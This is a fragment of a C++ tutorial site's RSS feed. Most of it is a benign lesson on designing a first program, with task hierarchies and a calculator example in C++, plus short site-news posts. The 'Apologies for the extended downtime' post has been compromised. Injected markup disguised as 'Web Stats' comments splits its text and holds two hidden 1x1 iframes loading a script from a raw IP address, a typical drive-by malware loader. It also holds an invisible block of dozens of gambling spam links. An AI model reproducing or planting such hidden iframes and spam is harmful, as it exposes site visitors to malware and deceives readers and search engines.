<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-2-stdstring-construction-and-destruction/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle> 17.2 &#8212; std::string construction and destruction</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter17" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/156-exception-dangers-and-downsides/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 15.6 &#8212; Exceptions dangers and downsides</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=1-Jq0pzbty0:2qecT6R1Hm8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=1-Jq0pzbty0:2qecT6R1Hm8:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=1-Jq0pzbty0:2qecT6R1Hm8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=1-Jq0pzbty0:2qecT6R1Hm8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=1-Jq0pzbty0:2qecT6R1Hm8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=1-Jq0pzbty0:2qecT6R1Hm8:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/cpp-tutorial/17-1-stdstring-and-stdwstring/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>1.10a — How to design your first programs</title>
		<link>http://www.learncpp.com/cpp-tutorial/1-10a-how-to-design-your-first-programs/</link>
		<comments>http://www.learncpp.com/cpp-tutorial/1-10a-how-to-design-your-first-programs/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 23:00:09 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=262</guid>
		<description><![CDATA[Now that you&#8217;ve learned some basics about programs, let&#8217;s look more closely at how to design a program.  When you sit down to write a program, generally you have some sort of problem that you&#8217;d like to solve, or situation that you&#8217;d like to simulate.  New programmers often have trouble figuring out how [...]]]></description>
			<content:encoded><![CDATA[<p>Now that you&#8217;ve learned some basics about programs, let&#8217;s look more closely at how to design a program.  When you sit down to write a program, generally you have some sort of problem that you&#8217;d like to solve, or situation that you&#8217;d like to simulate.  New programmers often have trouble figuring out how to convert that idea into actual code.  But it turns out, you have many of the problem solving skills you need already, acquired from every day life.</p>
<p>The most important thing to remember (and hardest thing to do) is to design your program <i>before you start coding</i>.  In many regards, programming is like architecture.  What would happen if you tried to build a house without following an architectural plan?  Odds are, unless you were very talented, you&#8217;d end up with a house that had a lot of problems: leaky roofs, walls that weren&#8217;t straight, etc&#8230;  Similarly, if you try to program before you have a good gameplan moving forward, you&#8217;ll likely find that your code has a lot of problems, and you&#8217;ll have to spend a lot of time fixing problems that could have been avoided altogether with a little design.</p>
<p>A little up-front planning will save you both time and frustration in the long run.</p>
<p><strong>Step 1: Define the problem</strong></p>
<p>The first thing you need to figure out is what problem your program is attempting to solve.  Ideally, you should be able to state this in a sentence or two.  For example:</p>
<ul>
<li>I want to write a phone book application to help me keep track of my friend&#8217;s phone numbers.
<li>I want to write a random dungeon generator that will produce interesting looking caverns.
<li>I want to write a program that will take information about stocks and attempt to predict which ones I should buy.
</ul>
<p>Although this step seems obvious, it&#8217;s also highly important.  The worst thing you can do is write a program that doesn&#8217;t actually do what you (or your boss) wanted!</p>
<p><strong>Step 2: Define your targets</strong></p>
<p>When you are an experienced programmer, there are many other steps that typically would take place at this point, including:</p>
<ul>
<li>Understanding who your target user is
<li>Defining what target architecture and/or OS your program will run on
<li>Determining what set of tools you will be using
<li>Determining whether you will write your program alone or as part of a team
<li>Collecting requirements (a documented list of what the program should do)
</ul>
<p>However, as a new programmer, the answers to these questions are typically simple: You are writing a program for your own use, alone, on your own system, using an IDE you purchased or downloaded.  This makes things easy, so we won&#8217;t spend any time on this step.</p>
<p><strong>Step 3: Make a heirarchy of tasks</strong></p>
<p>In real life, we often need to perform tasks that are very complex.  Trying to figure out how to do these tasks can be very challenging.  In such cases, we often make use of the <strong>top down</strong> method of problem solving.  That is, instead of solving a single complex task, we break that task into multiple subtasks, each of which is individually easier to solve.  If those subtasks are still too difficult to solve, they can be broken down further.  By continuously splitting complex tasks into simpler ones, you can eventually get to a point where each individual task is manageable, if not trivial.</p>
<p>Let&#8217;s take a look at an example of this.  Let&#8217;s say we want to write a report on carrots.  Our task hierarchy currently looks like this:</p>
<ul>
<li>Write report on carrots</li>
</ul>
<p>Writing a report on carrots is a pretty big task to do in one sitting, so let&#8217;s break it into subtasks:</p>
<ul>
<li>Write report on carrots</li>
<ul>
<li>Do research on carrots</li>
<li>Write outline</li>
<li>Fill in outline with details about carrots</li>
</ul>
</ul>
<p>That&#8217;s a more managable, as we now have three tasks that we can focus on individually.  However, in this case, &#8220;Do research on carrots is somewhat vague&#8221;, so we can break it down further:</p>
<ul>
<li>Write report on carrots</li>
<ul>
<li>Do research on carrots</li>
<ul>
<li>Go to library and get book on carrots</li>
<li>Look for information about carrots on internet</li>
</ul>
<li>Write outline</li>
<ul>
<li>Information about growing</li>
<li>Information about processing</li>
<li>Information about nutrition</li>
</ul>
<li>Fill in outline with details about carrots</li>
</ul>
</ul>
<p>Now we have a hierarchy of tasks, none of them particularly hard.  By completing each of these relatively manageable sub-items, we can complete the more difficult overall task of writing a report on carrots.</p>
<p>The other way to create a hierarchy of tasks is to do so from the <strong>bottom up</strong>.  In this method, we&#8217;ll start from a list of easy tasks, and construct the hierarchy by grouping them.</p>
<p>As an example, many people have to go to work or school on weekdays, so let&#8217;s say we want to solve the problem of &#8220;get from bed to work&#8221;.  If you were asked what tasks you did in the morning to get from bed to work, you might come up with the following list:</p>
<ul>
<li>Pick out clothes</li>
<li>Get dressed</li>
<li>Eat breakfast</li>
<li>Drive to work</li>
<li>Brush your teeth</li>
<li>Get out of bed</li>
<li>Prepare breakfast</li>
<li>Get in your car</li>
<li>Take a shower</li>
</ul>
<p>Using the bottom up method, we can organize these into a hierarchy of items by looking for ways to group items with similarities together:</p>
<ul>
<li>Get from bed to work</li>
<ul>
<li>Bedroom things</li>
<ul>
<li>Get out of bed</li>
<li>Pick out clothes</li>
</ul>
<li>Bathroom things</li>
<ul>
<li>Take a shower</li>
<li>Brush your teeth</li>
</ul>
<li>Breakfast things</li>
<ul>
<li>Prepare breakfast</li>
<li>Eat breakfast</li>
</ul>
<li>Transportation things</li>
<ul>
<li>Get in your car</li>
<li>Drive to work</li>
</ul>
</ul>
</ul>
<p>As it turns out, these task hierarchies are extremely useful in programming, because once you have a task hierarchy, you have essentially defined the structure of your overall program.  The top level task (in this case, &#8220;Write a report on carrots&#8221; or &#8220;Get from bed to work&#8221;) becomes main() (because it is the main item you are trying to solve).  The subitems become functions in the program.</p>
<p>If it turns out that one of the items (functions) is too difficult to implement, simply split that item into multiple subitems, and have that function call multiple subfunctions that implement those new tasks.  Eventually you should reach a point where each function in your program is trivial to implement.</p>
<p><strong>Step 4: Figure out the sequence of events</strong></p>
<p>Now that your program has a structure, it&#8217;s time to determine how to link all the tasks together.  The first step is to determine the sequence of events that will be performed.  For example, when you get up in the morning, what order do you do the above tasks?  It might look like this:</p>
<ul>
<li>Get out of bed</li>
<li>Pick out clothes</li>
<li>Take a shower</li>
<li>Get dressed</li>
<li>Prepare breakfast</li>
<li>Eat breakfast</li>
<li>Brush your teeth</li>
<li>Get in your car</li>
<li>Drive to work</li>
</ul>
<p>If we were writing a calculator, we might do things in this order:</p>
<ul>
<li>Get first number from user</li>
<li>Get mathematical operation from user</li>
<li>Get second number from user</li>
<li>Calculate result</li>
<li>Print result</li>
</ul>
<p>This list essentially defines what will go into your main() function:</p>
<pre class="brush: cpp;">
int main()
{
    GetOutOfBed();
    PickOutClothes();
    TakeAShower();
    GetDressed();
    PrepareBreakfast();
    EatBreakfast();
    BrushTeeth();
    GetInCar();
    DriveToWork();
}
</pre>
<p>Or in the case of the calculator:</p>
<pre class="brush: cpp;">
int main()
{
    // Get first number from user
    GetUserInput();

    // Get mathematical operation from user
    GetMathematicalOperation();

    // Get second number from user
    GetUserInput();

    // Calculate result
    CalculateResult();

    // Print result
    PrintResult();
}
</pre>
<p><strong>Step 5: Figure out the data inputs and outputs for each task</strong></p>
<p>Once you have a hierarchy and a sequence of events, the next thing to do is figure out what input data each task needs to operate, and what data it produces (if any).  If you already have the input data from a previous step, that input data will become a parameter.  If you are calculating output for use by some other function, that output will generally become a return value.</p>
<p>When we are done, we should have prototypes for each function.  In case you&#8217;ve forgotten, a <strong>function prototype</strong> is a declaration of a function that includes the function&#8217;s name, parameters, and return type, but does not implement the function.</p>
<p>Let&#8217;s do a couple examples.  GetUserInput() is pretty straightforward.  We&#8217;re going to get a number from the user and return it back to the caller.  Thus, the function prototype would look like this:</p>
<pre class="brush: cpp;">
int GetUserInput()
</pre>
<p>In the calculator example, the CalculateResult() function will need to take 3 pieces of input: Two numbers and a mathematical operator.  We should already have all three of these by the time we get to the point where this function is called, so these three pieces of data will be function parameters.  The CalculateResult() function will calculate the result value, but it does not display the result itself.  Consequently, we need to return that result as a return value so that other functions can use it.</p>
<p>Given that, we could write the function prototype like this:</p>
<pre class="brush: cpp;">
int CalculateResult(int nInput1, char chOperator, int nInput2);
</pre>
<p><strong>Step 6: Write the task details</strong></p>
<p>In this step, for each task, you will write it&#8217;s actual implementation.  If you have broken the tasks down into small enough pieces, each task should be fairly simple and straightforward.  If a given task still seems overly-complex, perhaps it needs to be broken down into subtasks that can be more easily implemented.</p>
<p>For example:</p>
<pre class="brush: cpp;">
char GetMathematicalOperation()
{
    cout &lt;&lt; &quot;Please enter an operator (+,-,*,or /): &quot;;

    char chOperation;
    cin &gt;&gt; chOperation;

    // What if the user enters an invalid character?
    // We'll ignore this possibility for now
    return chOperation;
}
</pre>
<p><strong>Step 7: Connect the data inputs and outputs</strong></p>
<p>Finally, the last step is to connect up the inputs and outputs of each task in whatever way is appropriate.  For example, you might send the output of CalculateResult() into an input of PrintResult(), so it can print the calculated answer.  This will often involve the use of intermediary variables to temporary store the result so it can be passed between functions.  For example:</p>
<pre class="brush: cpp;">
// nResult is a temporary value used to transfer the output of CalculateResult()
// into an input of PrintResult()
int nResult = CalculateResult(nInput1, chOperator, nInput2);
PrintResult(nResult);
</pre>
<p>This tends to be much more readable than the alternative condensed version that doesn&#8217;t use a temporary variable:</p>
<pre class="brush: cpp;">
PrintResult( CalculateResult(nInput1, chOperator, nInput2) );
</pre>
<p>This is often the hardest step for new programmers to get the hang of.</p>
<p>Note: To fully complete this example, you&#8217;ll need to utilize <a href="http://www.learncpp.com/cpp-tutorial/52-if-statements/">if statements</a>, which we won&#8217;t cover for a while, but you&#8217;re welcome to take a sneak-peak at now.</p>
<p>A fully completed version of the above calculator sample follows (hidden in case you want to take a stab at it yourself first):</p>
<p><a class="solution_link_show" href="javascript:void(0)" onclick="wpSolutionToggle(document.getElementById('id1368800279'), this, 'Show Solution', 'Hide Solution')">Show Solution</a></p>
<div class="solution_div" id="id1368800279" style="display:none">
<pre class="brush: cpp;">
#include &quot;stdafx.h&quot;
#include &lt;iostream&gt;
#include &lt;string&gt;
using namespace std;

int GetUserInput()
{
    cout &lt;&lt; &quot;Please enter an integer: &quot;;
    int nValue;
    cin &gt;&gt; nValue;
    return nValue;
}

char GetMathematicalOperation()
{
    cout &lt;&lt; &quot;Please enter an operator (+,-,*,or /): &quot;;

    char chOperation;
    cin &gt;&gt; chOperation;
    // What if the user enters an invalid character?
    // We'll ignore this possibility for now
    return chOperation;
}

int CalculateResult(int nX, char chOperation, int nY)
{
    if (chOperation=='+')
        return nX + nY;
    if (chOperation=='-')
        return nX - nY;
    if (chOperation=='*')
        return nX * nY;
    if (chOperation=='/')
        return nX / nY;

    return 0;
}

void PrintResult(int nResult)
{
    cout &lt;&lt; &quot;Your result is: &quot; &lt;&lt; nResult &lt;&lt; endl;
}

int main()
{
    // Get first number from user
    int nInput1 = GetUserInput();

    // Get mathematical operation from user
    char chOperator = GetMathematicalOperation();

    // Get second number from user
    int nInput2 = GetUserInput();

    // Calculate result
    int nResult = CalculateResult(nInput1, chOperator, nInput2);

    // Print result
    PrintResult(nResult);
}
</pre>
</div>
<p><strong>Words of advice when writing programs</strong></p>
<p><strong>Keep your program simple to start</strong>.  Often new programmers have a grand vision for all the things they want their program to do.  &#8220;I want to write a role-playing game with graphics and sound and random monsters and dungeons, with a town you can visit to sell the items that you find in the dungeon&#8221;  If you try to write something too complex to start, you will become overwhelmed and discouraged at your lack of progress.   Instead, make your first goal as simple as possible, something that is definitely within your reach.  For example, &#8220;I want to be able to display a 2d representation of the world on the screen&#8221;.</p>
<p><strong>Add features over time</strong>.  Once you have your simple program working and working well, then you can add features to it.  For example, once you can display your 2d world, add a character who can walk around.  Once you can walk around, add walls that can impede your progress.  Once you have walls, build a simple town out of them.  Once you have a town, add merchants.  By adding each feature incrementally your program will get progressively more complex without overwhelming you in the process.</p>
<p><strong>Focus on one area at a time</strong>.  Don&#8217;t try to code everything at once, and don&#8217;t divide your attention across multiple tasks.  Focus on one task at a time, and see it through to completion as much as is possible.  It is much better to have one fully working task and five that haven&#8217;t been started yet than six partially-working tasks.  If you split your attention, you are more likely to make mistakes and forget important details.</p>
<p><strong>Test each piece of code as you go</strong>.  New programmers will often write the entire program in one pass.  Then when they compile it for the first time, the compiler reports hundreds of errors.  This can not only be intimidating, if your code doesn&#8217;t work, it may be hard to figure out why.  Instead, write a piece of code, and then compile and test it immediately.  If it doesn&#8217;t work, you&#8217;ll know exactly where the problem is, and it will be easy to fix.  Once you are sure that the code works, move to the next piece and repeat.  It may take longer to finish writing your code, but when you are done the whole thing should work, and you won&#8217;t have to spend twice as long trying to figure out why it doesn&#8217;t.</p>
<p>Most new programmers will shortcut many of these steps and suggestions (because it seems like a lot of work and/or it&#8217;s not as much fun as writing the code).  However, for any non-trivial project, following these steps will definitely save you a lot of time in the long run.  A little planning up front saves a lot of debugging at the end.</p>
<p>The good news is that once you become comfortable with all of these concepts, they will start coming naturally to you without even thinking about it.  Eventually you will get to the point where you can write entire functions without any pre-planning at all.</p>
<table border=0 cellpadding=3>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/111-comprehensive-quiz/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle> 1.11 &#8212; Comprehensive quiz</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter1" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/110-a-first-look-at-the-preprocessor/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 1.10 &#8212; A first look at the preprocessor</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=oKzJ6rHewxI:_o04pA1SxOk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=oKzJ6rHewxI:_o04pA1SxOk:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=oKzJ6rHewxI:_o04pA1SxOk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=oKzJ6rHewxI:_o04pA1SxOk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=oKzJ6rHewxI:_o04pA1SxOk:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=oKzJ6rHewxI:_o04pA1SxOk:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/cpp-tutorial/1-10a-how-to-design-your-first-programs/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Apologies for the extended downtime</title>
		<link>http://www.learncpp.com/site-news/apologies-for-the-extended-downtime/</link>
		<comments>http://www.learncpp.com/site-news/apologies-for-the-extended-downtime/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 16:37:07 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=280</guid>
		<description><![CDATA[The server that this website is hosted on crashed on Tuesday and my host was rather slow to get it restored due to unexpected technical issues.  I do not backgammon free casino money free craps game play free black jack craps video poker strategy play black jack online how to win video poker casino [...]]]></description>
			<content:encoded><![CDATA[<p>The server that this website is hosted on crashed on Tuesday and my host was rather slow to get it restored due to unexpected technical issues.  I do not<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://groups.google.com/group/caglvlirota/web/backgammon">backgammon</a> <a href="http://groups.google.com/group/caglvlirota/web/free-casino-money">free casino money</a> <a href="http://groups.google.com/group/caglvlirota/web/free-craps-game">free craps game</a> <a href="http://groups.google.com/group/caglvlirota/web/play-free-black-jack">play free black jack</a> <a href="http://groups.google.com/group/caglvlirota/web/craps">craps</a> <a href="http://groups.google.com/group/caglvlirota/web/video-poker-strategy">video poker strategy</a> <a href="http://groups.google.com/group/caglvlirota/web/play-black-jack-online">play black jack online</a> <a href="http://groups.google.com/group/caglvlirota/web/how-to-win-video-poker">how to win video poker</a> <a href="http://groups.google.com/group/caglvlirota/web/casino-game-online">casino game online</a> <a href="http://groups.google.com/group/caglvlirota/web/uk-best-casino-online">uk best casino online</a> <a href="http://groups.google.com/group/caglvlirota/web/casino-secure-online-gambling">casino secure online gambling</a> <a href="http://groups.google.com/group/caglvlirota/web/jackpot-casino">jackpot casino</a> <a href="http://groups.google.com/group/caglvlirota/web/online-casino">online casino</a> <a href="http://groups.google.com/group/caglvlirota/web/black-jack">black jack</a> <a href="http://groups.google.com/group/caglvlirota/web/learn-to-play-craps">learn to play craps</a> <a href="http://groups.google.com/group/caglvlirota/web/how-to-win-at-video-poker">how to win at video poker</a> <a href="http://groups.google.com/group/caglvlirota/web/craps-online">craps online</a> <a href="http://groups.google.com/group/caglvlirota/web/blackjack-casino-game">blackjack casino game</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/">raman amplifier</a></font> <a href="http://groups.google.com/group/caglvlirota/web/online-casino-betting">online casino betting</a> <a href="http://groups.google.com/group/caglvlirota/web/free-on-line-video-poker">free on line video poker</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1076;&#1080;&#1074;&#1072;&#1085;&#1080;</a></font> <a href="http://groups.google.com/group/caglvlirota/web/casino-games">casino games</a> <a href="http://groups.google.com/group/caglvlirota/web/no-download-casino">no download casino</a> <a href="http://groups.google.com/group/caglvlirota/web/online-gambling-casino">online gambling casino</a> <a href="http://groups.google.com/group/caglvlirota/web/play-free-casino-slots">play free casino slots</a> <a href="http://groups.google.com/group/caglvlirota/web/video-poker-machine">video poker machine</a> <a href="http://groups.google.com/group/caglvlirota/web/bonus-video-poker">bonus video poker</a> <a href="http://groups.google.com/group/caglvlirota/web/free-on-line-slots">free on line slots</a> <a href="http://groups.google.com/group/caglvlirota/web/double-bonus-video-poker">double bonus video poker</a> <a href="http://groups.google.com/group/caglvlirota/web/free-video-poker-games">free video poker games</a> <a href="http://groups.google.com/group/caglvlirota/web/free-casinos">free casinos</a> <a href="http://groups.google.com/group/caglvlirota/web/roulette-online">roulette online</a> <a href="http://groups.google.com/group/caglvlirota/web/craps-rules">craps rules</a> <a href="http://groups.google.com/group/caglvlirota/web/free-on-line-casino">free on line casino</a> <a href="http://groups.google.com/group/caglvlirota/web/rules-of-craps">rules of craps</a> <a href="http://groups.google.com/group/caglvlirota/web/online-casino-free-money">online casino free money</a> <a href="http://groups.google.com/group/caglvlirota/web/blackjack-21">blackjack 21</a> <a href="http://groups.google.com/group/caglvlirota/web/internet-casino">internet casino</a> <a href="http://groups.google.com/group/caglvlirota/web/how-to-play-craps">how to play craps</a> <a href="http://groups.google.com/group/caglvlirota/web/free-casino-game-download">free casino game download</a> <a href="http://groups.google.com/group/caglvlirota/web/fortunelounge-online-casino">fortunelounge online casino</a> <a href="http://groups.google.com/group/caglvlirota/web/free-casino-download">free casino download</a> <a href="http://groups.google.com/group/caglvlirota/web/free-casino-card-game">free casino card game</a> <a href="http://groups.google.com/group/caglvlirota/web/free-roulette-game">free roulette game</a> <a href="http://groups.google.com/group/caglvlirota/web/free-casino-play">free casino play</a> <a href="http://groups.google.com/group/caglvlirota/web/no-deposit-free-money-casino">no deposit free money casino</a> <a href="http://groups.google.com/group/caglvlirota/web/internet-casino-online">internet casino online</a> </font> <!-- End Web Stats --> anticipate<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> and more downtime related to this issue.</p>
<p>Alex</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=N-B7AXbsGxo:A8MXJIN8q1U:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=N-B7AXbsGxo:A8MXJIN8q1U:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=N-B7AXbsGxo:A8MXJIN8q1U:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=N-B7AXbsGxo:A8MXJIN8q1U:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=N-B7AXbsGxo:A8MXJIN8q1U:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=N-B7AXbsGxo:A8MXJIN8q1U:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/site-news/apologies-for-the-extended-downtime/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Please report any site issues here</title>
		<link>http://www.learncpp.com/site-news/probable-downtime-this-weekend-121208-121408/</link>
		<comments>http://www.learncpp.com/site-news/probable-downtime-this-weekend-121208-121408/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 02:30:40 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=219</guid>
		<description><![CDATA[Hey everyone,
I&#8217;ve just upgraded the web site to wordpress 2.7.  If you&#8217;ve noticed that anything has broken, please report it here.
No additional downtime is expected at this time. :)
Thanks,
Alex
]]></description>
			<content:encoded><![CDATA[<p>Hey everyone,</p>
<p>I&#8217;ve just upgraded the web site to wordpress 2.7.  If you&#8217;ve noticed that anything has broken, please report it here.</p>
<p>No additional downtime is expected at this time. :)</p>
<p>Thanks,<br />
Alex</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=HZFMcRTaFzs:JcRmUYnk5RA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=HZFMcRTaFzs:JcRmUYnk5RA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=HZFMcRTaFzs:JcRmUYnk5RA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=HZFMcRTaFzs:JcRmUYnk5RA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=HZFMcRTaFzs:JcRmUYnk5RA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=HZFMcRTaFzs:JcRmUYnk5RA:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/site-news/probable-downtime-this-weekend-121208-121408/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
	</channel>
</rss><!-- Dynamic page generated in 0.451 seconds. --><!-- Cached page generated by WP-Super-Cache on 2010-09-08 07:30:06 -->
